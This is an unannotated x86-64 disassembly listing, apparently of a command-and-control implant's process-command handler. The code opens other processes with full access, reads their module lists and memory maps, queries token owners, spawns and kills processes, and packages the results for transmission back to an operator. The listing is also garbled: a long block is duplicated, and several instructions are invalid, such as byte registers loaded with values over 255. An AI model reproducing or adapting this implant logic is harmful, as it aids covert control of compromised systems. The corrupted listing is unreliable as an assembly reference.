14000d5edmov r8l, 343
14000d5f3mov rdx, r12
14000d5f6lea rcx, [rip+0x18a0b]
14000d5fdcall printf
14000d602xor eax, eax
14000d604mov ecx, 61
14000d609xor r11l, r11l
14000d60cmov [rsp+648], rdi
14000d614lea rdx, [rsp+96]
14000d619mov [rsp+656], rdi
14000d621lea rdi, [rsp+664]
14000d629rep stosd [rdi], eax
14000d62bmov [rsp+104], r11
14000d630mov rcx, rbx
14000d633mov [rsp+112], r11
14000d638mov [rsp+96], esi
14000d63cmov [rsp+384], r13
14000d644mov [rsp+392], r13
14000d64ccall ParserGetString
14000d651lea rcx, [rsp+104]
14000d656lea rdx, [rsp+112]
14000d65bmov rsi, rax
14000d65ecall ProcessSnapShot
14000d663mov ecx, eax
14000d665test eax, eax
14000d667js 0x14000d853
14000d66dmov r9, [rsp+104]
14000d672mov rdx, r12
14000d675mov r8l, 360
14000d67blea rcx, [rip+0x18c23]
14000d682lea r12, [rsp+648]
14000d68alea r14, [rsp+160]
14000d692call printf
14000d697mov rbx, [rsp+104]
14000d69cmov r13, [rip+0x1eccd]
14000d6a3
14000d6a3loc_14000d6a3:
14000d6a3mov rax, [rsp+104]
14000d6a8mov rcx, r12
14000d6abmov rdx, [rax+64]
14000d6afmovzx r8l, [rax+56]
14000d6b4call WCharStringToCharString
14000d6b9mov r8l, [rsp+96]
14000d6bemov rdx, rsi
14000d6c1mov rcx, r12
14000d6c4call MemCompare
14000d6c9test eax, eax
14000d6cbjne 0x14000d800
14000d6d1xor r10l, r10l
14000d6d4mov rax, [rsp+104]
14000d6d9cmp [r13+92], 2
14000d6desbb edx, edx
14000d6e0mov [rsp+160], r10
14000d6e8and edx, -3072
14000d6eemov ecx, [rax+80]
14000d6f1add edx, 4096
14000d6f7call ProcessOpen
14000d6fcmov rdi, rax
14000d6fftest rax, rax
14000d702je 0x14000d6a3
14000d704mov r8, r14
14000d707mov edx, 8
14000d70cmov rcx, rax
14000d70fcall SysNtOpenProcessToken
14000d714test eax, eax
14000d716js 0x14000d730
14000d718mov rcx, [rsp+160]
14000d720lea rdx, [rsp+384]
14000d728xor r8l, r8l
14000d72bcall TokenQueryOwner
14000d730
14000d730loc_14000d730:
14000d730mov rcx, [rsp+72]
14000d735mov rdx, r12
14000d738call PackageAddString
14000d73dmov rax, [rsp+104]
14000d742mov rcx, [rsp+72]
14000d747mov edx, [rax+80]
14000d74acall PackageAddInt32
14000d74fmov rax, [rsp+104]
14000d754mov rcx, [rsp+72]
14000d759mov edx, [rax+88]
14000d75ccall PackageAddInt32
14000d761mov r8l, [rsp+392]
14000d769mov rcx, [rsp+72]
14000d76emov rdx, [rsp+384]
14000d776call PackageAddBytes
14000d77bmov rcx, rdi
14000d77ecall ProcessIsWow
14000d783mov rcx, [rsp+72]
14000d788cmp eax, 1
14000d78bsbb edx, edx
14000d78dand edx, -22
14000d790add edx, 86
14000d793call PackageAddInt32
14000d798mov rcx, rdi
14000d79bcall SysNtClose
14000d7a0mov rcx, [rsp+160]
14000d7a8test rcx, rcx
14000d7abje 0x14000d7bd
14000d7adcall SysNtClose
14000d7b2xor r9l, r9l
14000d7b5mov [rsp+160], r9
14000d7bd
14000d7bdloc_14000d7bd:
14000d7bdmov rdi, [rsp+384]
14000d7c5test rdi, rdi
14000d7c8je 0x14000d800
14000d7camov ecx, [rsp+392]
14000d7d1xor eax, eax
14000d7d3rep stosb [rdi], al
14000d7d5mov rax, [r13+2230]
14000d7dcmov r8, [rsp+384]
14000d7e4xor edx, edx
14000d7e6mov rax, [rax+96]
14000d7eamov rcx, [rax+48]
14000d7eecall [r13+332]
14000d7f5xor r8l, r8l
14000d7f8mov [rsp+384], r8
14000d800
14000d800loc_14000d800:
14000d800mov rax, [rsp+104]
14000d805mov edx, [rax]
14000d807test edx, edx
14000d809je 0x14000d818
14000d80badd rax, rdx
14000d80emov [rsp+104], rax
14000d813jmp 0x14000d6a3
14000d818
14000d818loc_14000d818:
14000d818test rbx, rbx
14000d81bje 0x14000dc9b
14000d821mov rcx, [rsp+112]
14000d826mov rdi, rbx
14000d829xor eax, eax
14000d82brep stosb [rdi], al
14000d82dmov rax, [rip+0x1eb3c]
14000d834mov r8, rbx
14000d837mov rdx, [rax+2230]
14000d83emov rdx, [rdx+96]
14000d842mov rcx, [rdx+48]
14000d846xor edx, edx
14000d848call [rax+332]
14000d84ejmp 0x14000dc9b
14000d853
14000d853loc_14000d853:
14000d853mov rax, [rip+0x1eb16]
14000d85amov rbx, [rax+2230]
14000d861call [rax+348]
14000d867mov [rbx+104], eax
14000d86ajmp 0x14000dc9b
14000d86flea r9, [rip+0x18a53]
14000d876mov r8l, 431
14000d87clea rdx, [rip+0x1f37d]
14000d883mov r15l, 6
14000d889lea rcx, [rip+0x18778]
14000d890lea rdi, [rsp+648]
14000d898call printf
14000d89dxor eax, eax
14000d89fmov rcx, r15
14000d8a2xor edx, edx
14000d8a4rep stosd [rdi], eax
14000d8a6mov [rsp+160], edx
14000d8adlea rsi, [rip+0x189cd]
14000d8b4mov [rsp+384], edx
14000d8bbmov r15, rcx
14000d8bemov rcx, rbx
14000d8c1call ParserGetInt32
14000d8c6mov rcx, rbx
14000d8c9lea rdx, [rsp+160]
14000d8d1mov r14l, eax
14000d8d4call ParserGetWString
14000d8d9lea rdx, [rsp+384]
14000d8e1mov rcx, rbx
14000d8e4mov r13, rax
14000d8e7call ParserGetWString
14000d8ecmov rcx, rbx
14000d8efmov rdi, rax
14000d8f2call ParserGetInt32
14000d8f7mov rcx, rbx
14000d8famov r12l, eax
14000d8fdcall ParserGetInt32
14000d902cmp [rsp+160], 0
14000d90amov r9l, r14l
14000d90dmov r8l, 449
14000d913cmove r13, r15
14000d917lea rdx, [rip+0x1f2e2]
14000d91ecmp [rsp+384], 0
14000d926mov ebx, eax
14000d928lea rcx, [rip+0x189a7]
14000d92fcmove rdi, r15
14000d933call printf
14000d938mov eax, [rsp+160]
14000d93fmov r9, r13
14000d942mov r8l, 450
14000d948lea rdx, [rip+0x1f2b1]
14000d94flea rcx, [rip+0x189a6]
14000d956mov [rsp+32], eax
14000d95alea r15, [rip+0x18925]
14000d961call printf
14000d966mov eax, [rsp+384]
14000d96dmov r9, rdi
14000d970mov r8l, 451
14000d976lea rdx, [rip+0x1f283]
14000d97dlea rcx, [rip+0x189a4]
14000d984mov [rsp+32], eax
14000d988call printf
14000d98dtest r12l, r12l
14000d990mov r9, r15
14000d993mov [rsp+32], r12l
14000d998cmovne r9, rsi
14000d99cmov r8l, 452
14000d9a2lea rdx, [rip+0x1f257]
14000d9a9lea rcx, [rip+0x189a4]
14000d9b0call printf
14000d9b5test ebx, ebx
14000d9b7mov [rsp+32], ebx
14000d9bbmov r8l, 453
14000d9c1cmovne r15, rsi
14000d9c5lea rdx, [rip+0x1f234]
14000d9cclea rcx, [rip+0x189ac]
14000d9d3mov r9, r15
14000d9d6call printf
14000d9dbxor ecx, ecx
14000d9ddmov [rsp+40], r12l
14000d9e2mov r8, rdi
14000d9e5lea rax, [rsp+648]
14000d9edmov [rsp+48], rcx
14000d9f2mov r9l, r14l
14000d9f5mov rdx, r13
14000d9f8mov [rsp+32], rax
14000d9fdmov ecx, 1
14000da02call ProcessCreate
14000da07mov rcx, [rsp+72]
14000da0cmov rdx, r13
14000da0fmov edi, eax
14000da11call PackageAddWString
14000da16xor edx, edx
14000da18test edi, edi
14000da1aje 0x14000da23
14000da1cmov edx, [rsp+664]
14000da23
14000da23loc_14000da23:
14000da23mov rcx, [rsp+72]
14000da28call PackageAddInt32
14000da2dmov rcx, [rsp+72]
14000da32mov edx, edi
14000da34call PackageAddInt32
14000da39mov rcx, [rsp+72]
14000da3emov edx, r12l
14000da41call PackageAddInt32
14000da46mov rcx, [rsp+72]
14000da4bmov edx, ebx
14000da4dcall PackageAddInt32
14000da52test edi, edi
14000da54je 0x14000dc9b
14000da5amov rcx, [rsp+656]
14000da62call SysNtClose
14000da67test r12l, r12l
14000da6ajne 0x14000da79
14000da6cmov rcx, [rsp+648]
14000da74call SysNtClose
14000da79
14000da79loc_14000da79:
14000da79mov r9l, [rsp+664]
14000da81mov r8l, 470
14000da87lea rdx, [rip+0x1f172]
14000da8elea rcx, [rip+0x18915]
14000da95call printf
14000da9ajmp 0x14000dc9b
14000da9flea r13, [rip+0x1f15a]
14000daa6lea r9, [rip+0x1892d]
14000daadmov r8l, 476
14000dab3mov rdx, r13
14000dab6lea rcx, [rip+0x1854b]
14000dabdlea rdi, [rsp+648]
14000dac5call printf
14000dacamov rcx, rbx
14000dacdlea r14, [rsp+648]
14000dad5call ParserGetInt32
14000dadamov rcx, rbx
14000daddmov r12l, eax
14000dae0call ParserGetInt32
14000dae5mov ecx, 12
14000daeamov edx, 0x1fffff
14000daefmov ebx, eax
14000daf1xor eax, eax
14000daf3rep stosd [rdi], eax
14000daf5xor eax, eax
14000daf7mov ecx, r12l
14000dafamov [rsp+384], rax
14000db02call ProcessOpen
14000db07test rax, rax
14000db0amov rsi, rax
14000db0dje 0x14000dc9b
14000db13mov rcx, [rsp+72]
14000db18mov edx, r12l
14000db1bxor edi, edi
14000db1dlea r12, [rsp+384]
14000db25call PackageAddInt32
14000db2amov rcx, [rsp+72]
14000db2fmov edx, ebx
14000db31call PackageAddInt32
14000db36
14000db36loc_14000db36:
14000db36mov [rsp+40], r12
14000db3bxor r8l, r8l
14000db3emov r9, r14
14000db41mov rdx, rdi
14000db44mov [rsp+32], 48
14000db4dmov rcx, rsi
14000db50call SysNtQueryVirtualMemory
14000db55test eax, eax
14000db57js 0x14000dc08
14000db5dmov rdx, [rsp+648]
14000db65mov rdi, [rsp+672]
14000db6dadd rdi, rdx
14000db70cmp [rsp+688], 0x10000
14000db7bje 0x14000db36
14000db7dcmp [rsp+656], 0
14000db86je 0x14000db36
14000db88test ebx, ebx
14000db8aje 0x14000dbb5
14000db8ccmp [rsp+664], ebx
14000db93jne 0x14000db36
14000db95mov rdx, r13
14000db98mov r9l, ebx
14000db9bmov r8l, 512
14000dba1lea rcx, [rip+0x1883f]
14000dba8call printf
14000dbadmov rdx, [rsp+648]
14000dbb5
14000dbb5loc_14000dbb5:
14000dbb5mov rcx, [rsp+72]
14000dbbacall PackageAddPtr
14000dbbfmov edx, [rsp+672]
14000dbc6mov rcx, [rsp+72]
14000dbcbcall PackageAddInt32
14000dbd0mov edx, [rsp+664]
14000dbd7mov rcx, [rsp+72]
14000dbdccall PackageAddInt32
14000dbe1mov edx, [rsp+680]
14000dbe8mov rcx, [rsp+72]
14000dbedcall PackageAddInt32
14000dbf2mov edx, [rsp+688]
14000dbf9mov rcx, [rsp+72]
14000dbfecall PackageAddInt32
14000dc03jmp 0x14000db36
14000dc08
14000dc08loc_14000dc08:
14000dc08mov rcx, rsi
14000dc0bjmp 0x14000dc96
14000dc10lea r9, [rip+0x187fe]
14000dc17mov r8l, 536
14000dc1dlea rdx, [rip+0x1efdc]
14000dc24lea rcx, [rip+0x183dd]
14000dc2bcall printf
14000dc30mov rcx, rbx
14000dc33call ParserGetInt32
14000dc38mov edx, 1
14000dc3dmov ecx, eax
14000dc3fmov esi, eax
14000dc41call ProcessOpen
14000dc46xor edx, edx
14000dc48mov rbx, rax
14000dc4btest rax, rax
14000dc4ejne 0x14000dc68
14000dc50mov rcx, [rsp+72]
14000dc55call PackageAddInt32
14000dc5amov rcx, [rsp+72]
14000dc5fmov edx, esi
14000dc61call PackageAddInt32
14000dc66jmp 0x14000dc9b
14000dc68
14000dc68loc_14000dc68:
14000dc68mov rcx, rax
14000dc6bmov rax, [rip+0x1e6fe]
14000dc72call [rax+980]
14000dc78mov rcx, [rsp+72]
14000dc7dmov edx, 1
14000dc82call PackageAddInt32
14000dc87mov rcx, [rsp+72]
14000dc8cmov edx, esi
14000dc8ecall PackageAddInt32
14000dc93mov rcx, rbx
14000dc96
14000dc96loc_14000dc96:
14000dc96call SysNtClose
14000dc9b
14000dc9bloc_14000dc9b:
14000dc9bmov rcx, [rsp+72]
14000dca0lea rsp, [rbp-56]
14000dca4pop rbx
14000dca5pop rsi
14000dca6pop rdi
14000dca7pop r12
14000dca9pop r13
14000dcabpop r14
14000dcadpop r15
14000dcafpop rbp
14000dcb0jmp 0x140018b90
14000d340
14000d340CommandProc:
14000d340push rbp
14000d341mov rbp, rsp
14000d344push r15
14000d346push r14
14000d348push r13
14000d34apush r12
14000d34cpush rdi
14000d34dpush rsi
14000d34epush rbx
14000d34fmov rbx, rcx
14000d352and rsp, -16
14000d356sub rsp, 1168
14000d35dcall ParserGetInt32
14000d362mov ecx, 4112
14000d367mov esi, eax
14000d369call PackageCreate
14000d36emovsx edx, si
14000d371sub esi, 2
14000d374mov rcx, rax
14000d377mov [rsp+72], rax
14000d37ccall PackageAddInt32
14000d381cmp si, 5
14000d385ja 0x14000dc9b
14000d38blea rdx, [rip+0x1908e]
14000d392movzx esi, si
14000d395movsxd rax, [rdx+4*rsi]
14000d399add rax, rdx
14000d39cjmp rax
14000d39elea rcx, [rip+0x18c63]
14000d3a5lea r9, [rip+0x18ee0]
14000d3acmov r8l, 278
14000d3b2lea rdx, [rip+0x1f847]
14000d3b9lea rdi, [rsp+112]
14000d3becall printf
14000d3c3mov esi, [rbx+20]
14000d3c6mov ecx, 12
14000d3cbxor eax, eax
14000d3cdrep stosd [rdi], eax
14000d3cftest esi, esi
14000d3d1je 0x14000d411
14000d3d3mov rcx, rbx
14000d3d6call ParserGetInt32
14000d3dbmov edx, 0x1fffff
14000d3e0mov ecx, eax
14000d3e2mov esi, eax
14000d3e4call ProcessOpen
14000d3e9mov rbx, rax
14000d3ectest rax, rax
14000d3efje 0x14000d415
14000d3f1mov rax, [rip+0x1ef78]
14000d3f8mov ecx, 1
14000d3fdmov rax, [rax+2230]
14000d404mov edx, [rax+104]
14000d407call PackageTransmitError
14000d40cjmp 0x14000dc9b
14000d411
14000d411loc_14000d411:
14000d411or rbx, -1
14000d415
14000d415loc_14000d415:
14000d415xor ecx, ecx
14000d417xor edx, edx
14000d419lea r8, [rsp+112]
14000d41emov r9l, 48
14000d424mov [rsp+32], rcx
14000d429mov rcx, rbx
14000d42ccall SysNtQueryInformationProcess
14000d431test eax, eax
14000d433js 0x14000d5c6
14000d439xor eax, eax
14000d43bmov ecx, 56
14000d440lea r14, [rsp+104]
14000d445xor edx, edx
14000d447mov [rsp+88], rax
14000d44clea rdi, [rsp+160]
14000d454lea r15, [rsp+160]
14000d45cmov [rsp+96], rax
14000d461lea r13, [rsp+648]
14000d469mov [rsp+104], rax
14000d46exor eax, eax
14000d470rep stosd [rdi], eax
14000d472lea rdi, [rsp+648]
14000d47amov ecx, 130
14000d47fmov [rsp+384], rdx
14000d487rep stosd [rdi], eax
14000d489lea rdi, [rsp+400]
14000d491mov ecx, 61
14000d496mov [rsp+392], rdx
14000d49erep stosd [rdi], eax
14000d4a0mov rcx, [rsp+72]
14000d4a5mov edx, esi
14000d4a7call PackageAddInt32
14000d4acmov rax, [rsp+120]
14000d4b1mov [rsp+32], r14
14000d4b6mov rcx, rbx
14000d4b9mov r9l, 8
14000d4bflea r8, [rsp+88]
14000d4c4lea rdx, [rax+24]
14000d4c8call SysNtReadVirtualMemory
14000d4cdtest eax, eax
14000d4cfjs 0x14000d5c6
14000d4d5mov rax, [rsp+88]
14000d4damov r9l, 8
14000d4e0lea r8, [rsp+96]
14000d4e5mov rcx, rbx
14000d4e8lea r12, [rax+32]
14000d4ecxor eax, eax
14000d4eemov [rsp+104], rax
14000d4f3mov rdx, r12
14000d4f6mov [rsp+32], rax
14000d4fbcall SysNtReadVirtualMemory
14000d500test eax, eax
14000d502js 0x14000d5c6
14000d508
14000d508loc_14000d508:
14000d508mov rdx, [rsp+96]
14000d50dcmp rdx, r12
14000d510je 0x14000d5c6
14000d516xor eax, eax
14000d518sub rdx, 16
14000d51cmov r9l, 224
14000d522mov r8, r15
14000d525mov [rsp+32], rax
14000d52amov rcx, rbx
14000d52dcall SysNtReadVirtualMemory
14000d532test eax, eax
14000d534js 0x14000d508
14000d536mov [rsp+32], r14
14000d53bmov rdx, [rsp+240]
14000d543mov r8, r13
14000d546mov rcx, rbx
14000d549movzx r9l, [rsp+232]
14000d552lea rsi, [rsp+384]
14000d55acall SysNtReadVirtualMemory
14000d55fmovzx r8l, [rsp+232]
14000d568test r8w, r8w
14000d56cje 0x14000d59d
14000d56emov rdx, r13
14000d571mov rcx, rsi
14000d574call WCharStringToCharString
14000d579mov rcx, [rsp+72]
14000d57emov rdx, rsi
14000d581mov [rsp+104], rax
14000d586call PackageAddString
14000d58bmov rdx, [rsp+208]
14000d593mov rcx, [rsp+72]
14000d598call PackageAddPtr
14000d59d
14000d59dloc_14000d59d:
14000d59dmov edx, 260
14000d5a2xor eax, eax
14000d5a4mov rdi, r13
14000d5a7mov rcx, rdx
14000d5aarep stosb [rdi], al
14000d5acmov rdi, rsi
14000d5afmov rcx, rdx
14000d5b2rep stosb [rdi], al
14000d5b4mov rax, [rsp+176]
14000d5bcmov [rsp+96], rax
14000d5c1jmp 0x14000d508
14000d5c6
14000d5c6loc_14000d5c6:
14000d5c6or rcx, -1
14000d5catest rbx, rbx
14000d5cdjne 0x14000dc96
14000d5d3jmp 0x14000dc9b
14000d5d8lea r12, [rip+0x1f621]
14000d5dfxor edi, edi
14000d5e1xor esi, esi
14000d5e3xor r13l, r13l
14000d5e6lea r9, [rip+0x18cad]
14000d5edmov r8l, 343
14000d5f3mov rdx, r12
14000d5f6lea rcx, [rip+0x18a0b]
14000d5fdcall printf
14000d602xor eax, eax
14000d604mov ecx, 61
14000d609xor r11l, r11l
14000d60cmov [rsp+648], rdi
14000d614lea rdx, [rsp+96]
14000d619mov [rsp+656], rdi
14000d621lea rdi, [rsp+664]
14000d629rep stosd [rdi], eax
14000d62bmov [rsp+104], r11
14000d630mov rcx, rbx
14000d633mov [rsp+112], r11
14000d638mov [rsp+96], esi
14000d63cmov [rsp+384], r13
14000d644mov [rsp+392], r13
14000d64ccall ParserGetString
14000d651lea rcx, [rsp+104]
14000d656lea rdx, [rsp+112]
14000d65bmov rsi, rax
14000d65ecall ProcessSnapShot
14000d663mov ecx, eax
14000d665test eax, eax
14000d667js 0x14000d853
14000d66dmov r9, [rsp+104]
14000d672mov rdx, r12
14000d675mov r8l, 360
14000d67blea rcx, [rip+0x18c23]
14000d682lea r12, [rsp+648]
14000d68alea r14, [rsp+160]
14000d692call printf
14000d697mov rbx, [rsp+104]
14000d69cmov r13, [rip+0x1eccd]
14000d6a3
14000d6a3loc_14000d6a3:
14000d6a3mov rax, [rsp+104]
14000d6a8mov rcx, r12
14000d6abmov rdx, [rax+64]
14000d6afmovzx r8l, [rax+56]
14000d6b4call WCharStringToCharString
14000d6b9mov r8l, [rsp+96]
14000d6bemov rdx, rsi
14000d6c1mov rcx, r12
14000d6c4call MemCompare
14000d6c9test eax, eax
14000d6cbjne 0x14000d800
14000d6d1xor r10l, r10l
14000d6d4mov rax, [rsp+104]
14000d6d9cmp [r13+92], 2
14000d6desbb edx, edx
14000d6e0mov [rsp+160], r10
14000d6e8and edx, -3072
14000d6eemov ecx, [rax+80]
14000d6f1add edx, 4096
14000d6f7call ProcessOpen
14000d6fcmov rdi, rax
14000d6fftest rax, rax
14000d702je 0x14000d6a3
14000d704mov r8, r14
14000d707mov edx, 8
14000d70cmov rcx, rax
14000d70fcall SysNtOpenProcessToken
14000d714test eax, eax
14000d716js 0x14000d730
14000d718mov rcx, [rsp+160]
14000d720lea rdx, [rsp+384]
14000d728xor r8l, r8l
14000d72bcall TokenQueryOwner
14000d730
14000d730loc_14000d730:
14000d730mov rcx, [rsp+72]
14000d735mov rdx, r12
14000d738call PackageAddString
14000d73dmov rax, [rsp+104]
14000d742mov rcx, [rsp+72]
14000d747mov edx, [rax+80]
14000d74acall PackageAddInt32
14000d74fmov rax, [rsp+104]
14000d754mov rcx, [rsp+72]
14000d759mov edx, [rax+88]
14000d75ccall PackageAddInt32
14000d761mov r8l, [rsp+392]
14000d769mov rcx, [rsp+72]
14000d76emov rdx, [rsp+384]
14000d776call PackageAddBytes
14000d77bmov rcx, rdi
14000d77ecall ProcessIsWow
14000d783mov rcx, [rsp+72]
14000d788cmp eax, 1
14000d78bsbb edx, edx
14000d78dand edx, -22
14000d790add edx, 86
14000d793call PackageAddInt32
14000d798mov rcx, rdi
14000d79bcall SysNtClose
14000d7a0mov rcx, [rsp+160]
14000d7a8test rcx, rcx
14000d7abje 0x14000d7bd
14000d7adcall SysNtClose
14000d7b2xor r9l, r9l
14000d7b5mov [rsp+160], r9
14000d7bd
14000d7bdloc_14000d7bd:
14000d7bdmov rdi, [rsp+384]
14000d7c5test rdi, rdi
14000d7c8je 0x14000d800
14000d7camov ecx, [rsp+392]
14000d7d1xor eax, eax
14000d7d3rep stosb [rdi], al
14000d7d5mov rax, [r13+2230]
14000d7dcmov r8, [rsp+384]
14000d7e4xor edx, edx
14000d7e6mov rax, [rax+96]
14000d7eamov rcx, [rax+48]
14000d7eecall [r13+332]
14000d7f5xor r8l, r8l
14000d7f8mov [rsp+384], r8
14000d800
14000d800loc_14000d800:
14000d800mov rax, [rsp+104]
14000d805mov edx, [rax]
14000d807test edx, edx
14000d809je 0x14000d818
14000d80badd rax, rdx
14000d80emov [rsp+104], rax
14000d813jmp 0x14000d6a3
14000d818
14000d818loc_14000d818:
14000d818test rbx, rbx
14000d81bje 0x14000dc9b
14000d821mov rcx, [rsp+112]
14000d826mov rdi, rbx
14000d829xor eax, eax
14000d82brep stosb [rdi], al
14000d82dmov rax, [rip+0x1eb3c]
14000d834mov r8, rbx
14000d837mov rdx, [rax+2230]
14000d83emov rdx, [rdx+96]
14000d842mov rcx, [rdx+48]
14000d846xor edx, edx
14000d848call [rax+332]
14000d84ejmp 0x14000dc9b
14000d853
14000d853loc_14000d853:
14000d853mov rax, [rip+0x1eb16]
14000d85amov rbx, [rax+2230]
14000d861call [rax+348]
14000d867mov [rbx+104], eax
14000d86ajmp 0x14000dc9b
14000d86flea r9, [rip+0x18a53]
14000d876mov r8l, 431
14000d87clea rdx, [rip+0x1f37d]
14000d883mov r15l, 6
14000d889lea rcx, [rip+0x18778]
14000d890lea rdi, [rsp+648]
14000d898call printf
14000d89dxor eax, eax
14000d89fmov rcx, r15
14000d8a2xor edx, edx
14000d8a4rep stosd [rdi], eax
14000d8a6mov [rsp+160], edx
14000d8adlea rsi, [rip+0x189cd]
14000d8b4mov [rsp+384], edx
14000d8bbmov r15, rcx
14000d8bemov rcx, rbx
14000d8c1call ParserGetInt32
14000d8c6mov rcx, rbx
14000d8c9lea rdx, [rsp+160]
14000d8d1mov r14l, eax
14000d8d4call ParserGetWString
14000d8d9lea rdx, [rsp+384]
14000d8e1mov rcx, rbx
14000d8e4mov r13, rax
14000d8e7call ParserGetWString
14000d8ecmov rcx, rbx
14000d8efmov rdi, rax
14000d8f2call ParserGetInt32
14000d8f7mov rcx, rbx
14000d8famov r12l, eax
14000d8fdcall ParserGetInt32
14000d902cmp [rsp+160], 0
14000d90amov r9l, r14l
14000d90dmov r8l, 449
14000d913cmove r13, r15
14000d917lea rdx, [rip+0x1f2e2]
14000d91ecmp [rsp+384], 0
14000d926mov ebx, eax
14000d928lea rcx, [rip+0x189a7]
14000d92fcmove rdi, r15
14000d933call printf
14000d938mov eax, [rsp+160]
14000d93fmov r9, r13
14000d942mov r8l, 450
14000d948lea rdx, [rip+0x1f2b1]
14000d94flea rcx, [rip+0x189a6]
14000d956mov [rsp+32], eax
14000d95alea r15, [rip+0x18925]
14000d961call printf
14000d966mov eax, [rsp+384]
14000d96dmov r9, rdi
14000d970mov r8l, 451
14000d976lea rdx, [rip+0x1f283]
14000d97dlea rcx, [rip+0x189a4]
14000d984mov [rsp+32], eax
14000d988call printf
14000d98dtest r12l, r12l
14000d990mov r9, r15
14000d993mov [rsp+32], r12l
14000d998cmovne r9, rsi
14000d99cmov r8l, 452
14000d9a2lea rdx, [rip+0x1f257]
14000d9a9lea rcx, [rip+0x189a4]
14000d9b0call printf
14000d9b5test ebx, ebx
14000d9b7mov [rsp+32], ebx
14000d9bbmov r8l, 453
14000d9c1cmovne r15, rsi
14000d9c5lea rdx, [rip+0x1f234]
14000d9cclea rcx, [rip+0x189ac]
14000d9d3mov r9, r15
14000d9d6call printf
14000d9dbxor ecx, ecx
14000d9ddmov [rsp+40], r12l
14000d9e2mov r8, rdi
14000d9e5lea rax, [rsp+648]
14000d9edmov [rsp+48], rcx
14000d9f2mov r9l, r14l
14000d9f5mov rdx, r13
14000d9f8mov [rsp+32], rax
14000d9fdmov ecx, 1
14000da02call ProcessCreate
14000da07mov rcx, [rsp+72]
14000da0cmov rdx, r13
14000da0fmov edi, eax
14000da11call PackageAddWString
14000da16xor edx, edx
14000da18test edi, edi
14000da1aje 0x14000da23
14000da1cmov edx, [rsp+664]
14000da23
14000da23loc_14000da23:
14000da23mov rcx, [rsp+72]
14000da28call PackageAddInt32
14000da2dmov rcx, [rsp+72]
14000da32mov edx, edi
14000da34call PackageAddInt32
14000da39mov rcx, [rsp+72]
14000da3emov edx, r12l
14000da41call PackageAddInt32
14000da46mov rcx, [rsp+72]
14000da4bmov edx, ebx
14000da4dcall PackageAddInt32
14000da52test edi, edi
14000da54je 0x14000dc9b
14000da5amov rcx, [rsp+656]
14000da62call SysNtClose
14000da67test r12l, r12l
14000da6ajne 0x14000da79
14000da6cmov rcx, [rsp+648]
14000da74call SysNtClose
14000da79
14000da79loc_14000da79:
14000da79mov r9l, [rsp+664]
14000da81mov r8l, 470
14000da87lea rdx, [rip+0x1f172]
14000da8elea rcx, [rip+0x18915]
14000da95call printf
14000da9ajmp 0x14000dc9b
14000da9flea r13, [rip+0x1f15a]
14000daa6lea r9, [rip+0x1892d]
14000daadmov r8l, 476
14000dab3mov rdx, r13
14000dab6lea rcx, [rip+0x1854b]
14000dabdlea rdi, [rsp+648]
14000dac5call printf
14000dacamov rcx, rbx
14000dacdlea r14, [rsp+648]
14000dad5call ParserGetInt32
14000dadamov rcx, rbx
14000daddmov r12l, eax
14000dae0call ParserGetInt32
14000dae5mov ecx, 12
14000daeamov edx, 0x1fffff
14000daefmov ebx, eax
14000daf1xor eax, eax
14000daf3rep stosd [rdi], eax
14000daf5xor eax, eax
14000daf7mov ecx, r12l
14000dafamov [rsp+384], rax
14000db02call ProcessOpen
14000db07test rax, rax
14000db0amov rsi, rax
14000db0dje 0x14000dc9b
14000db13mov rcx, [rsp+72]
14000db18mov edx, r12l
14000db1bxor edi, edi
14000db1dlea r12, [rsp+384]
14000db25call PackageAddInt32
14000db2amov rcx, [rsp+72]
14000db2fmov edx, ebx
14000db31call PackageAddInt32
14000db36
14000db36loc_14000db36:
14000db36mov [rsp+40], r12
14000db3bxor r8l, r8l
14000db3emov r9, r14
14000db41mov rdx, rdi
14000db44mov [rsp+32], 48
14000db4dmov rcx, rsi
14000db50call SysNtQueryVirtualMemory
14000db55test eax, eax
14000db57js 0x14000dc08
14000db5dmov rdx, [rsp+648]
14000db65mov rdi, [rsp+672]
14000db6dadd rdi, rdx
14000db70cmp [rsp+688], 0x10000
14000db7bje 0x14000db36
14000db7dcmp [rsp+656], 0
14000db86je 0x14000db36
14000db88test ebx, ebx
14000db8aje 0x14000dbb5
14000db8ccmp [rsp+664], ebx
14000db93jne 0x14000db36
14000db95mov rdx, r13
14000db98mov r9l, ebx
14000db9bmov r8l, 512
14000dba1lea rcx, [rip+0x1883f]
14000dba8call printf
14000dbadmov rdx, [rsp+648]
14000dbb5
14000dbb5loc_14000dbb5:
14000dbb5mov rcx, [rsp+72]
14000dbbacall PackageAddPtr
14000dbbfmov edx, [rsp+672]
14000dbc6mov rcx, [rsp+72]
14000dbcbcall PackageAddInt32
14000dbd0mov edx, [rsp+664]
14000dbd7mov rcx, [rsp+72]
14000dbdccall PackageAddInt32
14000dbe1mov edx, [rsp+680]
14000dbe8mov rcx, [rsp+72]
14000dbedcall PackageAddInt32
14000dbf2mov edx, [rsp+688]
14000dbf9mov rcx, [rsp+72]
14000dbfecall PackageAddInt32
14000dc03jmp 0x14000db36
14000dc08
14000dc08loc_14000dc08:
14000dc08mov rcx, rsi
14000dc0bjmp 0x14000dc96
14000dc10lea r9, [rip+0x187fe]
14000dc17mov r8l, 536
14000dc1dlea rdx, [rip+0x1efdc]
14000dc24lea rcx, [rip+0x183dd]
14000dc2bcall printf
14000dc30mov rcx, rbx
14000dc33call ParserGetInt32
14000dc38mov edx, 1
14000dc3dmov ecx, eax
14000dc3fmov esi, eax
14000dc41call ProcessOpen
14000dc46xor edx, edx
14000dc48mov rbx, rax
14000dc4btest rax, rax
14000dc4ejne 0x14000dc68
14000dc50mov rcx, [rsp+72]
14000dc55call PackageAddInt32
14000dc5amov rcx, [rsp+72]
14000dc5fmov edx, esi
14000dc61call PackageAddInt32
14000dc66jmp 0x14000dc9b
14000dc68
14000dc68loc_14000dc68:
14000dc68mov rcx, rax
14000dc6bmov rax, [rip+0x1e6fe]
14000dc72call [rax+980]
14000dc78mov rcx, [rsp+72]
14000dc7dmov edx, 1
14000dc82call PackageAddInt32
14000dc87mov rcx, [rsp+72]
14000dc8cmov edx, esi
14000dc8ecall PackageAddInt32
14000dc93mov rcx, rbx
14000dc96
14000dc96loc_14000dc96:
14000dc96call SysNtClose
14000dc9b
14000dc9bloc_14000dc9b:
14000dc9bmov rcx, [rsp+72]
14000dca0lea rsp, [rbp-56]
14000dca4pop rbx
14000dca5pop rsi
14000dca6pop rdi
14000dca7pop r12
14000dca9pop r13
14000dcabpop r14
14000dcadpop r15
14000dcafpop rbp
14000dcb0jmp 0x140018b90
14000d340
14000dcb5
14000dcb5 // align 0x10
14000dcb5 // align 0x10
14000dcc0
